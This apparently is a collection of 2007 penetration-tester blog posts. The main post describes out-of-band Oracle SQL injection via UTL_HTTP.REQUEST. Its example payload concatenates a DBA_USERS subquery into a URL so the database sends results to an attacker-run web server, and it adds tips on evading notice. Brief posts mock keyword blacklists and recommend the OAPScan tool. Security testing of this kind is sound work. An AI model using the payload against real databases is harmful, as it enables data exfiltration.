Out-of-band Oracle SQL injection with HTTP Requests

I spent most of last week performing a web application assessment in the middle of nowhere, Alabama. After the mad fun at BlackHat and several weeks of unpleasant documentation work preceding it, it was a nice change to spend five peaceful days completely focused on testing an interesting system.

This was an internal application, so I wasn't surprised to find that it was vulnerable to SQL injection in several areas. However, in-band injection attacks weren't working for the application I was testing - I couldn't use UNION SELECTs, for example, to merge my query results with data rendered in the browser. So I had to leverage an out-of-band technique for retrieving data through SQL injection: Oracle's UTL_HTTP.REQUEST function. David Litchfield mentioned this approach almost two years ago in Data-mining with SQL Injection and Inference, but I never had the need to use it "in the wild" until now.

UTL_HTTP is a built-in Oracle SQL function that issues HTTP requests. The syntax is pretty simple: 

URL_HTTP.REQUEST('http://www.foo.com/index.php') 

returns the first 2000 bytes from the provided URL. But the clever bit is that you can concatenate the URL with another SQL statement, the results of which will become part of the request.

For example, consider the following SQL:

UTL_HTTP.REQUEST('http://www.foo.com:80/'||(SELECT USERNAME FROM DBA_USERS WHERE ROWNUM=1))

The SELECT statement returns the value "SYS" - the first user in the DBA_USERS table. The HTTP request issued by the database is therefore for the URL "http://www.foo.com:80/SYS". In www.foo.com's HTTP access log, the request would look like:

158.72.4.21 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404 0 - -
(assuming 158.72.4.21 is our target DB server)

So as an attacker, you simply need to run a web server and point the UTL_HTTP.REQUESTs to your own IP address. You can then view the result of each SQL injection in your server logs. If in Windows, I like to use SHTTPD as it is lightweight and simple to turn on and off.

The biggest limitation to this approach is that you can only query for one row at a time - you'll get an error message if your statement returns multiple rows. (That is due to the UTL_HTTP.RQUEST function itself, not the web server end). But it is still a lot more efficient then using blind SQL injection to brute force one character of a response at a time. Oracle will also throw an error if it can't reach your web server, which may be the case depending on network controls between yourself and the database.  Experiment with running on different ports.

There are probably a few things you could do to make the attack more elegant, like setting up a CGI script on your server to better collect and parse the calls from the database. You could also create and inject a PL/SQL function that concatenates results from multiple rows to get around the single-row limitation. I needed a quick and dirty solution to get a few key database records, so I didn't bother venturing beyond the basics for this test.

Outbound HTTP requests originating from a database server should look suspicious, but I think the attack is obscure enough to slip by most admins.

How to NOT protect your site against SQL injection

Parameterized queries? Input validation? Pfft. Really secure sites don't need that kind of nonsense to protect against SQL injection attacks.  They just kindly ask that you avoid submitting values like "SELECT FROM" or "DROP".

Hacking Oracle Application Servers

A recent post on Darknet turned me on to a new tool for testing Oracle Application Servers called OAPScan. This neat little Perl script is similar to Nikto - it does a "dumb" crawl of web servers based on a scan database and uses pattern matching and server responses to determine whether certain files, paths, and vulnerabilities exist. But unlike Nikto, OAPScan's database has a robust number of checks specific to Oracle Application Servers, which I encounter frequently on both external and internal pen-tests.

Oracle AS has all sorts of default files, scripts, Data Access Descriptors (DADs), and other features that people forget to turn off when deploying these servers. In some cases, they can provide valuable information about the server or even be useful attack vectors for more serious vulnerabilities like SQL injection and file disclosure.

In the past I've always had to manually crawl through these servers, and would perform manual tests based on guidance from two excellent whitepapers:

• OWASP's "Testing for Oracle"
• NGS Software's "Hackproofing Oracle Application Server"
  

(Method #6 in the OWASP guide for bypassing PL/SQL exclusion list to perform SQL injection almost always works for me - I don't think it wasn't patched until late last year)

OAPScan will automate a lot of those testing steps for me, albeit as noisily as any other tool that crawls/scans web servers. If nothing else, it's scan database can be a good reference if you want to learn about what things to manually check for, in concert with the whitepapers I mentioned above.